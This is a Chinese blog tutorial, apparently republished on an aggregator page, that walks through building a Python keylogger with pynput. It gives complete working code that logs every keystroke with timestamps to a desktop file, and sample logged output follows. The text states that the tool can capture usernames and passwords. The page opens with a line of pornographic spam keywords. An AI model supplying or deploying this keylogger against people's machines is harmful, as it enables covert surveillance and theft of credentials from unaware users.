日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

python键盘记录器_使用Python设计键盘记录器

發布時間:2023/12/3 python 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python键盘记录器_使用Python设计键盘记录器 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

在這里,我們將使用python開發鍵盤記錄程序。但是在此之前,什么是鍵盤記錄程序?鍵盤記錄器是一個程序,我們使用它來監視擊鍵。這些擊鍵將存儲在日志文件中。我們可以使用此按鍵記錄敏感信息,例如用戶名和密碼。

為了創建鍵盤記錄器,我們將使用Pynput模塊。由于它不是python的標準庫,因此我們可能需要安裝它。

安裝pyxhook模塊-

我將使用pip安裝pynput-pip?install?pynput

Requirement?already?satisfied:?pynput?in?c:\python\python361\lib\site-packages?(1.4)

Requirement?already?satisfied:?six?in?c:\python\python361\lib\site-packages?(from?pynput)?(1.10.0)

要檢查我們的安裝是否成功,請嘗試將模塊導入python shell>>>?import?pynput

>>>

開始構建鍵盤記錄器

安裝所需的庫后,導入所需的軟件包和方法。為了監視鍵盤,我們將使用pynput.keyboard模塊的key和listener方法。我們還將使用日志記錄模塊將擊鍵記錄到文件中。from?pynput.keyboard?import?Key,?Listener

import?logging

接下來,我們將設置存儲日志文件的路徑,日志的存儲方式和格式。log_dir?=?r"C:/users/username/desktop/"

logging.basicConfig(filename?=?(log_dir?+?"keyLog.txt"),?level=logging.DEBUG,?format='%(asctime)s:?%(message)s')

然后,我們調用了on_press()函數,該函數為按鍵創建了一個定義,并將按鍵作為參數。def?on_press(key):

logging.info(str(key))

我們要做的最后一件事是建立一個Listener實例,并在其中定義on_press方法,然后將該實例連接到主線程。with?Listener(on_press=on_press)?as?listener:

listener.join()

在結合上述步驟之后,我們處于創建最終程序的階段-from?pynput.keyboard?import?Key,?Listener

import?logging

log_dir?=?r"C:/users/rajesh/desktop/"

logging.basicConfig(filename?=?(log_dir?+?"keyLog.txt"),?level=logging.DEBUG,?format='%(asctime)s:?%(message)s')

def?on_press(key):

logging.info(str(key))

with?Listener(on_press=on_press)?as?listener:

listener.join()

當我的腳本運行時,我嘗試打開瀏覽器并鍵入“ hello world,Wikipedia”。讓我們看看我們的日志文件發生了什么-

我可以看到,在計算機桌面上創建了一個“ keyLog.txt”文件,如果嘗試查看其內容,則會得到-2019-01-18?17:06:21,854:?Key.cmd

2019-01-18?17:06:22,022:?'d'

2019-01-18?17:06:39,304:?'h'

2019-01-18?17:06:39,435:?'e'

2019-01-18?17:06:39,564:?'l'

2019-01-18?17:06:39,754:?'l'

2019-01-18?17:06:39,943:?'o'

2019-01-18?17:06:40,245:?Key.space

2019-01-18?17:06:40,450:?'w'

2019-01-18?17:06:40,536:?'o'

2019-01-18?17:06:40,694:?'r'

2019-01-18?17:06:40,818:?'l'

2019-01-18?17:06:40,943:?'d'

2019-01-18?17:06:43,527:?','

2019-01-18?17:06:44,947:?Key.space

2019-01-18?17:06:45,091:?'p'

2019-01-18?17:06:45,342:?'y'

2019-01-18?17:06:45,468:?'t'

2019-01-18?17:06:45,580:?'h'

2019-01-18?17:06:45,674:?'o'

2019-01-18?17:06:45,808:?'n'

2019-01-18?17:06:45,872:?Key.space

2019-01-18?17:06:48,692:?Key.backspace

2019-01-18?17:06:48,891:?Key.backspace

2019-01-18?17:06:49,079:?Key.backspace

2019-01-18?17:06:49,223:?Key.backspace

2019-01-18?17:06:49,405:?Key.backspace

2019-01-18?17:06:49,584:?Key.backspace

2019-01-18?17:06:49,816:?Key.backspace

2019-01-18?17:06:50,004:?'w'

2019-01-18?17:06:50,162:?'i'

2019-01-18?17:06:50,392:?'k'

2019-01-18?17:06:50,572:?'i'

2019-01-18?17:06:51,395:?'p'

2019-01-18?17:06:51,525:?'e'

2019-01-18?17:06:51,741:?'d'

2019-01-18?17:06:51,838:?'i'

2019-01-18?17:06:52,104:?'a'

這樣我們可以看到我嘗試在瀏覽器中鍵入的內容,每個按鍵都存儲在此文件中。因此,我們在這里用python創建了一個非常簡單的按鍵記錄器。

總結

以上是生活随笔為你收集整理的python键盘记录器_使用Python设计键盘记录器的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。